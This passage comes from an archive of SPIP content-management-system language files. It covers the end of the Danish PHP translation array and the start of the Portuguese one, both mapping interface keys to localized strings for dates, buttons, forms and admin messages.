(f.eks. efter at have indlæst en sikkerhedskopi). Bemærk, at dokumenter der ændres normalt (f.eks. fra SPIP’s brugergrænseflade)
automatisk indekseres igen: derfor er denne kommando kun nyttig under ekstraordinære omstændigheder.',
'texte_moteur_recherche_non_active' => 'Søgefunktionen er valgt fra.',
'texte_multilinguisme' => 'Hvis du ønsker at administrere artikler på flere sprog med den deraf følgende større kompleksitet, kan du forsyne afsnit og/eller artikler med en sprogvalgsmenu. Denne funktion er afhængig af strukturen på websiden.', # MODIF
'texte_multilinguisme_trad' => 'Du kan også vælge at have link mellem de forskellige sprogversioner af en artikel.', # MODIF
'texte_non_compresse' => '<i>ukomprimeret</i> (din server understøtter ikke denne funktion)',
'texte_nouveau_message' => 'Ny meddelelse',
'texte_nouvelle_version_spip_1' => 'Du har netop installeret en ny version af SPIP.',
'texte_nouvelle_version_spip_2' => 'Denne nye version kræver en mere omfattende opdatering end sædvanligt. Hvis du er webmaster på webstedet, så slet venligst filen <tt>inc_connect.php3</tt> i kataloget <tt>ecrire</tt> og genstart installationen for at opdatere dine opkoblingsparametre til databasen. <p>(NB.: hvis du har glemt dine opkoblingsparametre, så kast et blik på indholdet af filen <tt>inc_connect.php3</tt> før du sletter den...)', # MODIF
'texte_operation_echec' => 'Gå tilbage til forrige side og vælg en anden database eller opret en ny. Kontroller de oplysninger, dit webhotel har stillet til rådighed.',
'texte_plus_trois_car' => 'mere end 3 tegn',
'texte_plusieurs_articles' => 'Der er fundet flere forfattere til "@cherche_auteur@":',
'texte_port_annuaire' => '(Standardværdien passer for det meste.)',
'texte_proposer_publication' => 'Når din artikel er færdig,<br /> kan du indsende den til offentliggørelse.',
'texte_proxy' => 'I nogle tilfælde (intranet, beskyttede netværk...),
er det nødvendigt at benytte en <i>proxy HTTP</i> for at komme i kontakt med syndikerede websteder.
Hvis der skal benyttes proxy, så indtast dens adresse her:
<tt><html>http://proxy:8080</html></tt>. Almindeligvis skal feltet stå tomt.',
'texte_publication_articles_post_dates' => 'Hvad skal SPIP gøre med hensyn til artikler med en offentliggørelsesdato, der ligger ude i
fremtiden?',
'texte_rappel_selection_champs' => '[Husk at vælge dette felt korrekt.]',
'texte_recalcul_page' => 'Hvis du kun ønsker at opdatere en side, bør du gøre det ved fra det offentlige område at benytte knappen « Opdater ».',
'texte_recapitiule_liste_documents' => 'Denne side er en oversigt over de dokumenter, du har anbragt i afsnittene. For at ændre oplysningerne om et dokument, skal du følge linket til dets afsnitsside.',
'texte_recuperer_base' => 'Reparer databasen',
'texte_reference_mais_redirige' => 'artikler der refereres til på dit SPIP websted, men som viderestiller til en anden URL.',
'texte_requetes_echouent' => '<b>Når nogle SQL forespørgsler systematisk og uden tilsyneladende grund går galt, er det muligt at fejlen ligger i selve databasen.</b>
<p>SQL har en funktion, der reparerer dens tabeller, hvis de er blevet ødelagt ved et uheld.
Her kan du forsøge at igangsætte denne reparationsfunktion;
hvis den går galt, bør du beholde en kopi af skærmbilledet,
som måske kan indeholde antydninger af, hvad der er galt....
<p>Hvis problemet fortsat består, så kontakt dit webhotel.', # MODIF
'texte_selection_langue_principale' => 'Du kan nedenfor vælge webstedets «hovedsprog».
Heldigvis begrænser dette valg ikke dine artikler til at skulle skrives på det valgte sprog
men gør det muligt at fastsætte,
<ul><li> standardformatet for datoer i det offentlige område</li>
<li> hvilken typografisk funktion SPIP skal benytte til tekstformatering;</li>
<li> det sprog der anvendes i formularer på det offentlige websted</li>
<li> standardsproget i det private område.</li></ul>',
'texte_sous_titre' => 'Underrubrik',
'texte_statistiques_visites' => '(mørke bjælker: Søndag / mørk kurve: gennemsnitsudvikling)',
'texte_statut_attente_validation' => 'afventer godkendelse',
'texte_statut_publies' => 'offentliggjort online',
'texte_statut_refuses' => 'afvist',
'texte_suppression_fichiers' => 'Brug denne kommando til at slette alle filer i SPIP’s cache.
Dette giver dig bl.a. mulighed for at gennemtvinge opdatering af alle sider i tilfælde af
at du har lavet væsentlige grafiske eller strukturelle ændringer på webstedet.',
'texte_sur_titre' => 'Hovedoverskrift',
'texte_table_ok' => ': denne tabel er OK.',
'texte_tables_indexation_vides' => 'Søgefunktionens indekstabeller er tomme.',
'texte_tentative_recuperation' => 'Reparationsforsøg',
'texte_tenter_reparation' => 'Forsøg på at reparere databasen',
'texte_test_proxy' => 'For at afprøve proxy’en, kan du indtaste adressen på et websted som du ønsker at teste.',
'texte_titre_02' => 'Emne:',
'texte_titre_obligatoire' => '<b>Overskrift</b> [Obligatorisk]',
'texte_travail_article' => '@nom_auteur_modif@ har arbejdet på denne artikel for @date_diff@ minutter siden',
'texte_travail_collaboratif' => 'Hvis det sker hyppigt at flere redaktører arbejder på samme artikel, kan systemet
vise «åbne» artikler for at undgå samtidige ændringer. Denne indstilling er som standard
slået fra for at undgå utidige advarselsmeddelelser.',
'texte_trop_resultats_auteurs' => 'For mange resultater til "@cherche_auteur@"; vær venlig at afgrænse søgningen yderligere.',
'texte_unpack' => 'download af seneste version',
'texte_utilisation_moteur_syndiques' => 'Hvis du benytter SPIP’s indbyggede søgefunktion, kan du på forskellig vis foretage
søgninger på websteder og i syndikerede artikler. <br /><img src=\'puce.gif\' /> Den enkleste består i kun at
søge i artiklernes overskrifter og beskrivelser. <br /><img src=\'puce.gif\' />
En anden metode, som er stærkere, lader SPIP søge i teksten på de websteder, der henvises til.
Hvis du henviser til et websted, vil SPIP selv søge i dens tekst.', # MODIF
'texte_utilisation_moteur_syndiques_2' => 'Denne metode tvinger SPIP til jævnligt at besøge webstedet, hvilket kan koste
en forringelse af svartiderne på din eget websted.',
'texte_vide' => 'tom',
'texte_vider_cache' => 'Tøm cachen',
'titre_admin_effacer' => 'Teknisk vedligeholdelse',
'titre_admin_tech' => 'Teknisk vedligeholdelse',
'titre_admin_vider' => 'Teknisk vedligeholdelse',
'titre_cadre_afficher_article' => 'Vis artikler som er',
'titre_cadre_afficher_traductions' => 'Vis oversættelsesstatus for følgende sprog:',
'titre_cadre_ajouter_auteur' => 'TILFØJ FORFATTER:',
'titre_cadre_interieur_rubrique' => 'I afsnit',
'titre_cadre_numero_auteur' => 'FORFATTER NUMMER',
'titre_cadre_signature_obligatoire' => '<b>Underskrift</b> [Obligatorisk]<br />',
'titre_config_fonctions' => 'Konfigurering af webstedet',
'titre_configuration' => 'Konfigurering af webstedet',
'titre_connexion_ldap' => 'Indstillinger: <b>Din LDAP forbindelse</b>',
'titre_groupe_mots' => 'NØGLEORDSGRUPPE:',
'titre_langue_article' => 'ARTIKLENS SPROG', # MODIF
'titre_langue_rubrique' => 'SPROGAFSNIT', # MODIF
'titre_langue_trad_article' => 'ARTIKLENS SPROG OG OVERSÆTTELSER',
'titre_les_articles' => 'ARTIKLER',
'titre_naviguer_dans_le_site' => 'Gennemse webstedet...',
'titre_nouvelle_rubrique' => 'Nyt afsnit',
'titre_numero_rubrique' => 'AFSNITSNUMMER:',
'titre_page_admin_effacer' => 'Teknisk vedligeholdelse: sletning af database',
'titre_page_articles_edit' => 'Ret: @titre@',
'titre_page_articles_page' => 'Artikler',
'titre_page_articles_tous' => 'Hele webstedet',
'titre_page_auteurs' => 'Besøgende',
'titre_page_calendrier' => 'Kalender @nom_mois@ @annee@',
'titre_page_config_contenu' => 'Webstedskonfigurering',
'titre_page_config_fonctions' => 'Webstedkonfigurering',
'titre_page_configuration' => 'Konfiguration af websted',
'titre_page_controle_petition' => 'Opfølgning på appel',
'titre_page_delete_all' => 'total og uigenkaldelig sletning',
'titre_page_documents_liste' => 'Dokumenter i afsnit',
'titre_page_index' => 'Dit private område',
'titre_page_message_edit' => 'Skriv meddelelse',
'titre_page_messagerie' => 'Din meddelelsesfunktion',
'titre_page_recherche' => 'Søgeresultater @recherche@',
'titre_page_statistiques_referers' => 'Statistik (indkommende links)',
'titre_page_upgrade' => 'SPIP opgradering',
'titre_publication_articles_post_dates' => 'Offentliggørelse af fremdaterede artikler',
'titre_referencer_site' => 'Henvis til webstedet:',
'titre_rendez_vous' => 'AFTALER:',
'titre_reparation' => 'Reparer',
'titre_suivi_petition' => 'Opfølgning på appeller',
'trad_article_inexistant' => 'Der findes ingen artikel med dette nummer.',
'trad_article_traduction' => 'Alle udgaver af denne artikel :',
'trad_deja_traduit' => 'Denne artikel er allerede en oversættelse af den aktuelle artikel.',
'trad_delier' => 'Afbryd forbindelsen mellem denne artikel og oversættelserne', # MODIF
'trad_lier' => 'Denne artikel er en oversættelse af artikel nummer :',
'trad_new' => 'Lav en ny oversættelse af denne artikel' # MODIF
);
?>
spip_pt.php 0000666 00000112633 15252547432 0006756 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=pt
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-dev',
'0_langue' => 'Português [pt]',
'0_liste' => 'spip-dev@rezo.net',
'0_mainteneur' => 'spip-dev@rezo.net',
// A
'access_interface_graphique' => 'Voltar à interface gráfica completa',
'access_mode_texte' => 'Exibir a interface textual simplificada',
'admin_debug' => 'debug',
'admin_modifier_article' => 'Modificar este artigo',
'admin_modifier_auteur' => 'Modificar este autor',
'admin_modifier_breve' => 'Modificar esta notícia',
'admin_modifier_mot' => 'Modificar esta palavra-chave',
'admin_modifier_rubrique' => 'Modificar esta rubrica',
'admin_recalculer' => 'Recompor esta página',
'afficher_calendrier' => 'Exibir o calendário',
'afficher_trad' => 'exibir as traduções',
'alerte_maj_impossible' => '<b>Alerta !</b> A actualização da base de dados SQL para a versão @version@ é impossível, talvez por causa de um problema de permissão de modificação na base de dados. Por favor contacte o seu serviço de hospedagem.',
'alerte_modif_info_concourante' => 'ATTENÇÃO : Esta informação já foi modificada noutro menu. O valor actual é :',
'analyse_xml' => 'Análise XML',
'annuler' => 'Cancelar',
'antispam_champ_vide' => 'Por favor deixe este campo vazio :',
'articles_recents' => 'Artigos mais recentes',
'avis_archive_incorrect' => 'o ficheiro arquivo não é um ficheiro SPIP',
'avis_archive_invalide' => 'o ficheiro arquivo não é válido ',
'avis_attention' => ' ATENÇÂO!',
'avis_champ_incorrect_type_objet' => 'Nome de campo incorrecto @name@ para objecto de tipo @type@',
'avis_colonne_inexistante' => 'A coluna @col@ não existe',
'avis_erreur' => 'Erro: ver mais abaixo',
'avis_erreur_connexion' => 'Erro de ligação ',
'avis_erreur_cookie' => 'problema de cookie',
'avis_erreur_fonction_contexte' => 'Erro de programação. Não se pode chamar esta função neste contexto.',
'avis_erreur_mysql' => 'Erro SQL',
'avis_erreur_sauvegarde' => 'Erro na cópia de segurança (@type@ @id_objet@) !',
'avis_erreur_visiteur' => 'Problema de acesso à área privada',
// B
'barre_a_accent_grave' => 'Inserir um A maiúsculo com acento grave',
'barre_aide' => 'Utilize as abreviaturas tipográficas para enriquecer a sua paginação.',
'barre_e_accent_aigu' => 'Inserir um E maiúsculo com acento agudo ',
'barre_eo' => 'Inserir um E no O',
'barre_eo_maj' => 'Inserir um E no O maiúsculo',
'barre_euro' => 'Inserir o símbolo €',
'barre_gras' => ' Escrever em {{negro}}',
'barre_guillemets' => 'Colocar entre "aspas" ',
'barre_guillemets_simples' => 'Colocar entre ’aspas simples’',
'barre_intertitre' => 'Transfomar em {{{intertítulo}}} ',
'barre_italic' => 'Pôr em itálico ',
'barre_lien' => 'Transformar em [ligação hipertexto->http://...]',
'barre_lien_input' => 'Por favor indique o endereço da sua ligação (pode indicar um endereço Web sob a forma http://www.monsite/com ou simplesmente indicar o número de um artigo deste sítio.) ',
'barre_note' => 'Transformar em [[Nota de rodapé ]]',
'barre_paragraphe' => 'Criar um parágrafo',
'barre_quote' => '<quote>Citar uma mensagem</quote>',
'bouton_changer' => 'Modificar',
'bouton_chercher' => 'Procurar',
'bouton_choisir' => 'Seleccionar',
'bouton_deplacer' => 'Mover',
'bouton_download' => 'Download',
'bouton_enregistrer' => 'Guardar',
'bouton_radio_desactiver_messagerie_interne' => 'Desactivar a caixa de correio interno',
'bouton_radio_envoi_annonces' => 'Enviar os anúncios editoriais',
'bouton_radio_non_envoi_annonces' => 'Não enviar anúncios',
'bouton_radio_non_envoi_liste_nouveautes' => 'Não enviar a lista das novidades',
'bouton_recharger_page' => 'recarregar esta página',
'bouton_telecharger' => 'Carregar',
'bouton_upload' => 'Carregar',
'bouton_valider' => 'Submeter',
// C
'cal_apresmidi' => 'tarde',
'cal_jour_entier' => 'dia todo',
'cal_matin' => 'manhã',
'cal_par_jour' => 'calendário por dia',
'cal_par_mois' => 'calendário por mês',
'cal_par_semaine' => 'calendário por semana',
'choix_couleur_interface' => 'cor',
'choix_interface' => 'escolha da interface',
'colonne' => 'Coluna',
'confirm_changer_statut' => 'Atenção, solicitou a alteração do estatuto deste elemento. Deseja continuar?',
'correcte' => 'correcto',
// D
'date_aujourdhui' => 'hoje',
'date_avant_jc' => 'a. J.C.',
'date_dans' => 'entre @delai@',
'date_de_mois_1' => '@j@ de @nommois@',
'date_de_mois_10' => '@j@ de @nommois@',
'date_de_mois_11' => '@j@ de @nommois@',
'date_de_mois_12' => '@j@ de @nommois@',
'date_de_mois_2' => '@j@ de @nommois@',
'date_de_mois_3' => '@j@ de @nommois@',
'date_de_mois_4' => '@j@ de @nommois@',
'date_de_mois_5' => '@j@ de @nommois@',
'date_de_mois_6' => '@j@ de @nommois@',
'date_de_mois_7' => '@j@ de @nommois@',
'date_de_mois_8' => '@j@ de @nommois@',
'date_de_mois_9' => '@j@ de @nommois@',
'date_demain' => 'amanhã',
'date_fmt_heures_minutes' => '@h@h@m@min',
'date_fmt_heures_minutes_court' => '@h@:@m@',
'date_fmt_jour' => '@nomjour@ @jour@',
'date_fmt_jour_heure' => '@jour@ a @heure@',
'date_fmt_jour_heure_debut_fin' => '@jour@ de @heure_debut@ a @heure_fin@',
'date_fmt_jour_heure_debut_fin_abbr' => '@dtstart@@jour@ de @heure_debut@@dtabbr@ a @dtstart@@heure_fin@@dtend@',
'date_fmt_jour_mois' => '@jour@ de @nommois@',
'date_fmt_jour_mois_annee' => '@jour@ de @nommois@ de @annee@',
'date_fmt_mois_annee' => '@nommois@ de @annee@',
'date_fmt_nomjour' => '@nomjour@ @date@',
'date_fmt_nomjour_date' => ' @nomjour@ @date@',
'date_fmt_periode' => 'De @date_debut@ a @date_fin@',
'date_fmt_periode_abbr' => 'De @dtart@@date_debut@@dtabbr@ a @dtend@@date_fin@@dtabbr@',
'date_fmt_periode_from' => 'De',
'date_fmt_periode_to' => 'a',
'date_heures' => 'horas',
'date_hier' => 'ontem',
'date_il_y_a' => 'há @delai@',
'date_jnum1' => '1',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => 'domingo',
'date_jour_1_abbr' => 'Dom.',
'date_jour_1_initiale' => 'D.',
'date_jour_2' => 'segunda-feira',
'date_jour_2_abbr' => 'Seg.',
'date_jour_2_initiale' => 'S.',
'date_jour_3' => 'terça-feira',
'date_jour_3_abbr' => 'Ter.',
'date_jour_3_initiale' => 'T.',
'date_jour_4' => 'quarta-feira',
'date_jour_4_abbr' => 'Qua.',
'date_jour_4_initiale' => 'Q.',
'date_jour_5' => 'quinta-feira',
'date_jour_5_abbr' => 'Qui.',
'date_jour_5_initiale' => 'Q.',
'date_jour_6' => 'sexta-feira',
'date_jour_6_abbr' => 'Sex.',
'date_jour_6_initiale' => 'S.',
'date_jour_7' => 'sábado',
'date_jour_7_abbr' => 'Sab.',
'date_jour_7_initiale' => 'S.',
'date_jours' => 'dias',
'date_minutes' => 'minutos',
'date_mois' => 'meses',
'date_mois_1' => 'Janeiro',
'date_mois_10' => 'Outubro',
'date_mois_10_abbr' => 'Out.',
'date_mois_11' => 'Novembro',
'date_mois_11_abbr' => 'Nov.',
'date_mois_12' => 'Dezembro',
'date_mois_12_abbr' => 'Dez.',
'date_mois_1_abbr' => 'Jan.',
'date_mois_2' => 'Fevereiro',
'date_mois_2_abbr' => 'Feb.',
'date_mois_3' => 'Março',
'date_mois_3_abbr' => 'Mar',
'date_mois_4' => 'Abril',
'date_mois_4_abbr' => 'Abr.',
'date_mois_5' => 'Maio',
'date_mois_5_abbr' => 'Mai',
'date_mois_6' => 'Junho',
'date_mois_6_abbr' => 'Jun',
'date_mois_7' => 'Julho',
'date_mois_7_abbr' => 'Jul',
'date_mois_8' => 'Agosto',
'date_mois_8_abbr' => 'Ago',
'date_mois_9' => 'Setembro',
'date_mois_9_abbr' => 'Set',
'date_saison_1' => 'inverno',
'date_saison_2' => 'primavera',
'date_saison_3' => 'verão',
'date_saison_4' => 'outono',
'date_secondes' => 'segundos',
'date_semaines' => 'semanas',
'date_un_mois' => 'mês',
'date_une_heure' => 'hora',
'date_une_minute' => 'minuto',
'date_une_seconde' => 'segundo',
'date_une_semaine' => 'semana',
'dirs_commencer' => 'a fim de começar realmente a instalação',
'dirs_preliminaire' => 'Preliminar : <b>Configurar os direitos de acesso</b>',
'dirs_probleme_droits' => 'Problema de direitos de acesso',
'dirs_repertoires_absents' => '<b>Os seguintes directórios não foram encontrados : <ul>@bad_dirs@.</ul> </b>
<p>É provável que resulte de um problema de má colocação de maiúsculas ou minúsculas.
Verifique que as minúsculas e maiúsculas destes directórios concordam com o que está exibido
acima; se não for o caso, renomeie os repertórios com o seu software FTP de modo a corrigir o erro.
<p>Terminada esta operação, poderá</p>',
'dirs_repertoires_suivants' => '<b>Os seguintes directórios não estão acessíveis para escrita: <ul>@bad_dirs@.</ul> </b>
<p>Para corrigir, utilize o seu programa de FTP para configurar os direitos de acesso de cada um
destes directórios. O procedimento está explicado em detalhe no manual de instalação.
<p>Uma vez efectuada esta alteração, poderá',
'double_occurrence' => 'Dupla ocorrência de @balise@',
// E
'en_cours' => 'em curso',
'envoi_via_le_site' => 'Envio pelo sítio',
'erreur' => 'Erro',
'erreur_balise_non_fermee' => 'última tag não fechada :',
'erreur_technique_ajaxform' => 'Ooops. Uum erro inesperado impediu o formulário de ser enviado. Por favor tente novamente.',
'erreur_technique_enregistrement_champs' => 'Um erro técnico impediu o registo correcto do campo @champs@.',
'erreur_technique_enregistrement_impossible' => 'Um erro técnico impediu o registo.',
'erreur_texte' => 'erro(s)',
'etape' => 'Etapa',
// F
'fichier_introuvable' => 'Ficheiro @fichier@ não localizado',
'form_auteur_confirmation' => 'Confirme o seu endereço e-mail',
'form_auteur_email_modifie' => 'O seu endereço e-mail foi alterado.',
'form_auteur_envoi_mail_confirmation' => 'Um e-mail de confirmação foi enviado para @email@. Para validar o seu endereço de e-mail, deve abrir o endereço Web mencionado na mensagem.',
'form_auteur_mail_confirmation' => 'Olá,
Pediu para alterar o seu endereço e-mail. Para confirmar o seu novo endereço, precisa de se conectar ao endereço abaixo (caso contrário, o seu pedido será ignorado) :
@url@
',
'form_deja_inscrit' => 'Já está inscrito.',
'form_email_non_valide' => 'O seu endereço email não é válido',
'form_forum_access_refuse' => 'Você já não tem acesso a este sítio',
'form_forum_bonjour' => 'Bom dia @nom@,',
'form_forum_confirmer_email' => 'Para confirmar o seu endereço e-maill, abra esta ligação : @url_confirm@',
'form_forum_email_deja_enregistre' => 'Este endereço e-mail já está registado,pode portanto utilizar a sua palavra-passe habitual',
'form_forum_identifiant_mail' => 'O seu novo identificador acabou de lhe ser enviado por email.',
'form_forum_identifiants' => 'Identificadores pessoais',
'form_forum_indiquer_nom_email' => 'Indicar aqui o seu nome e o seu endereço email. O seu identificador pessoal ser-lhe-á enviado rapidamente por correio electrónico.',
'form_forum_login' => 'login:',
'form_forum_message_auto' => '(esta é uma mensagem automática)',
'form_forum_pass' => 'palavra-passe',
'form_forum_probleme_mail' => 'Problema de mail :o identificador não pôde ser enviado',
'form_forum_voici1' => 'Estes são os seus dados para poder participar nos fóruns
do sítio "@nom_site_spip@" (@adresse_site@):',
'form_forum_voici2' => 'Eis os seus identificadores para propor artigos no
sítio "@nom_site_spip@" (@adresse_login@):',
'form_indiquer_email' => 'Por favor indique o seu endereço email.',
'form_indiquer_nom' => 'Por favor indique o seu nome.',
'form_indiquer_nom_site' => 'Por favor indique o nome do seu sítio.',
'form_pet_deja_enregistre' => 'Este sítio já está registado',
'form_pet_signature_pasprise' => 'A sua assinatura não está tomada em conta.',
'form_prop_confirmer_envoi' => 'Confirmar o envio',
'form_prop_description' => 'Descrição/comentário',
'form_prop_enregistre' => 'A sua proposta foi registada. Aparecerá online após a validação pelos responsáveis deste sítio.',
'form_prop_envoyer' => 'Enviar uma mensagem',
'form_prop_indiquer_email' => 'Por favor indique um endereço email válido',
'form_prop_indiquer_nom_site' => 'Por favor indique o nome do sítio.',
'form_prop_indiquer_sujet' => 'Por favor indique um tema',
'form_prop_message_envoye' => 'Mensagem enviada',
'form_prop_non_enregistre' => 'A sua proposta não foi registada.',
'form_prop_sujet' => 'Tema',
'form_prop_url_site' => 'Endereço (URL) do sítio',
'forum_non_inscrit' => 'Não está inscrito, ou o endereço ou a palavra-passe estão errados.',
'forum_par_auteur' => 'por @auteur@',
'forum_titre_erreur' => 'Erro...',
// I
'ical_texte_rss_articles' => 'O ficheiro «backend» dos artigos deste sítio encontra-se neste endereço:',
'ical_texte_rss_articles2' => 'Pode igualmente obter os ficheiros «backend» para os artigos de cada rubrica do sítio:',
'ical_texte_rss_breves' => 'Existe também um ficheiro contendo notícias do sítio. Especificando um número de rubrica, obterá unicamente as notícias dessa rubrica.',
'icone_a_suivre' => 'Continua',
'icone_admin_site' => 'Administração do sítio',
'icone_agenda' => 'Agenda e correio',
'icone_aide_ligne' => 'Ajuda',
'icone_articles' => 'Artigos',
'icone_auteurs' => 'Autores',
'icone_brouteur' => 'Navegação rápida',
'icone_configuration_site' => 'Configuração',
'icone_configurer_site' => 'Configurar o seu sítio',
'icone_creer_nouvel_auteur' => 'Criar um novo autor',
'icone_creer_rubrique' => 'Criar uma rubrica',
'icone_creer_sous_rubrique' => 'Criar uma sub-rubrica',
'icone_deconnecter' => 'Sair',
'icone_discussions' => 'Discussões',
'icone_doc_rubrique' => 'Documentos das rubricas',
'icone_ecrire_article' => 'Escrever um novo artigo',
'icone_edition_site' => 'Edição',
'icone_gestion_langues' => 'Opções de idiomas',
'icone_informations_personnelles' => 'Informações pessoais',
'icone_interface_complet' => 'interface completa',
'icone_interface_simple' => 'Interface simplificada',
'icone_maintenance_site' => 'Manutenção do sítio',
'icone_messagerie_personnelle' => 'Mensagens privadas',
'icone_repartition_debut' => 'Exibir a distribuição desde o início',
'icone_rubriques' => 'Rubricas',
'icone_sauver_site' => 'Cópia de segurança do sítio',
'icone_site_entier' => 'Todo o sítio',
'icone_sites_references' => 'Sítios referenciados',
'icone_statistiques' => 'Estatísticas do sítio',
'icone_suivi_activite' => 'Acompanhar a actividade do sítio',
'icone_suivi_actualite' => 'Evolução do sítio',
'icone_suivi_pettions' => 'Seguir/gerir os abaixo-assinados',
'icone_suivi_revisions' => 'Modificações dos artigos',
'icone_supprimer_document' => 'Suprimir este documento',
'icone_supprimer_image' => 'Suprimir esta imagem',
'icone_tous_articles' => 'Todos os seus artigos',
'icone_tous_auteur' => 'Todos os autores',
'icone_tous_visiteur' => 'Todos os visitantes',
'icone_visiter_site' => 'Visitar o sítio público',
'icone_voir_en_ligne' => 'Ver online',
'img_indisponible' => 'imagem indisponível',
'impossible' => 'impossível',
'info_a_suivre' => 'A SEGUIR »',
'info_acces_interdit' => 'Acesso proibido',
'info_acces_refuse' => 'Acesso recusado',
'info_action' => 'Acção : @action@',
'info_administrer_rubriques' => 'Pode administrar esta rubrica e as suas sub-rubricas',
'info_adresse_non_indiquee' => 'Não indicou endereço a testar !',
'info_aide' => 'AJUDA',
'info_ajouter_mot' => 'Acrescentar esta palavra',
'info_annonce' => 'ANÚNCIO',
'info_annonces_generales' => 'Anúncios gerais :',
'info_article_propose' => 'Artigo proposto',
'info_article_publie' => 'Artigo publicado',
'info_article_redaction' => 'Artigo em curso de redacção',
'info_article_refuse' => 'Artigo recusado',
'info_article_supprime' => 'Artigo suprimido',
'info_articles' => 'Artigos',
'info_articles_a_valider' => 'Os artigos a validar',
'info_articles_nb' => '@nb@ artigos',
'info_articles_proposes' => 'Artigos propostos',
'info_articles_un' => '1 artigo',
'info_auteurs_nombre' => 'autor(es) :',
'info_authentification_ftp' => 'Autenticação (por FTP)',
'info_breves_2' => 'notícias',
'info_breves_nb' => '@nb@ notícias',
'info_breves_un' => '1 notícia',
'info_connexion_refusee' => 'Ligação recusada',
'info_contact_developpeur' => 'Por favor contacte um programador',
'info_contenance' => 'Este sítio contém :',
'info_contribution' => 'contribuições de fórum',
'info_copyright' => '@spip@ é um software livre distribuído @lien_gpl@.',
'info_copyright_doc' => 'Para mais informações, visite o sítio <a href="@spipnet@">@spipnet_affiche@</a',
'info_copyright_gpl' => 'sob licença GPL',
'info_cours_edition' => 'Os seus artigos em curso de redacção',
'info_creer_repertoire' => 'Por favor crie um ficheiro ou um directório chamado :',
'info_creer_repertoire_2' => 'dentro do sub-directório <b>@repertoire@</b>, depois :',
'info_creer_vignette' => 'criação automática de miniatura',
'info_creerdansrubrique_non_autorise' => 'Não tem direitos suficientes para criar conteúdo nesta rubrica.',
'info_deplier' => 'Desenvolver',
'info_descriptif_nombre' => 'descritivo(s) :',
'info_description' => 'Descrição :',
'info_description_2' => 'Descrição :',
'info_dimension' => 'Dimensões :',
'info_documents_nb' => '@nb@ documentos',
'info_documents_un' => '1 documento',
'info_ecire_message_prive' => 'Escrever uma mensagem privada',
'info_email_invalide' => 'Endereço email inválido.',
'info_en_cours_validation' => 'Os seus artigos em curso de redação',
'info_en_ligne' => 'Actualmente online:',
'info_envoyer_message_prive' => 'Enviar uma mensagem privada a este autor',
'info_erreur_requete' => 'Erro no pedido :',
'info_erreur_squelette2' => 'Modelo <b>@fichier@</b> não disponível...',
'info_erreur_systeme' => 'Erro de Sistema (errno @errsys@)',
'info_erreur_systeme2' => 'O disco rígido poderá estar cheio, ou a base de dados danificada.<br />
<span style="color:red;">Tente <a href=\'@script@\'>reparar a base de dados </a>, ou contacte o seu fornecedor de internet.</span>',
'info_fini' => 'Terminou !',
'info_format_image' => 'Formatos de imagens que podem ser utilizadas para criar vinhetas : @gd_formats@.',
'info_format_non_defini' => 'formato não definido',
'info_grand_ecran' => 'Ecrã total',
'info_image_aide' => 'AJUDA',
'info_image_process_titre' => 'Como criar miniaturas',
'info_impossible_lire_page' => '<b>Erro !</b> Impossível ler a página<tt><html>@test_proxy@</html></tt> através do proxy <tt>',
'info_installation_systeme_publication' => 'Instalação do sistema de publicação',
'info_installer_documents' => 'Pode instalar automaticamente todos os documentos contidos na pasta @upload@.',
'info_installer_ftp' => 'Como administrador, pode instalar (por FTP) ficheiros na pasta @upload@ para depois seleccioná-los directamente aqui.',
'info_installer_images' => 'Pode instalar imagens nos formatos JPEG, GIF e PNG.',
'info_installer_images_dossier' => 'Instalar imagens na pasta @upload@ para poder seleccioná-los aqui.',
'info_interface_complete' => 'Interface completa',
'info_interface_simple' => 'Interface simplificada',
'info_joindre_document_article' => 'Pode juntar a este artigo documentos de tipo',
'info_joindre_document_rubrique' => 'Pode acrescentar a esta rubrica documentos de tipo',
'info_joindre_documents_article' => 'Pode juntar ao seu artigo documentos de tipo :',
'info_l_article' => 'o artigo',
'info_la_breve' => 'a notícia',
'info_la_rubrique' => 'a rubrica',
'info_langue_principale' => 'Idioma principal do sítio',
'info_largeur_vignette' => '@largeur_vignette@ x @hauteur_vignette@ pixels',
'info_les_auteurs_1' => 'por @les_auteurs@',
'info_logo_format_interdit' => 'Apenas os ícones nos formatos @formats@ estão autorizados.',
'info_logo_max_poids' => 'Os ícones devem obrigatoriamente ter menos de @maxi@ (este arquivo tem @actuel@).',
'info_mail_fournisseur' => 'você@seucorreio.com',
'info_message_2' => 'MENSAGEM',
'info_message_supprime' => 'MENSAGEM ELIMINADA',
'info_messages_nb' => '@nb@ mensagens',
'info_messages_un' => '1 mensagem',
'info_mise_en_ligne' => 'Data de colocação online :',
'info_modification_parametres_securite' => 'modificação dos parâmetros de segurança',
'info_mois_courant' => 'Durante o mês :',
'info_mot_cle_ajoute' => 'A seguinte palavra-chave foi acrescentada a',
'info_multi_herit' => 'Idioma por defeito',
'info_multi_langues_soulignees' => 'Os <u>idiomas sublinhadas</u> beneficiam de uma tradução de todos os textos da interface. Se seleccionar esses idiomas, muitos elementos do sítio público (datas, formulários) serão automaticamente traduzidos. Para os idiomas não sublinhadas, esses elementos aparecerão no idioma principal do sítio.',
'info_multilinguisme' => 'Multilinguismo',
'info_nom_non_utilisateurs_connectes' => 'O seu nome não aparece na lista dos utilizadores ligados.',
'info_nom_utilisateurs_connectes' => 'O seu nome aparece na lista dos utilizadores ligados.',
'info_nombre_en_ligne' => 'Actualmente online :',
'info_non_resultat' => 'Nenhum resultado para "@cherche_mot@"',
'info_non_utilisation_messagerie' => 'Não utiliza o correio interno deste sítio.',
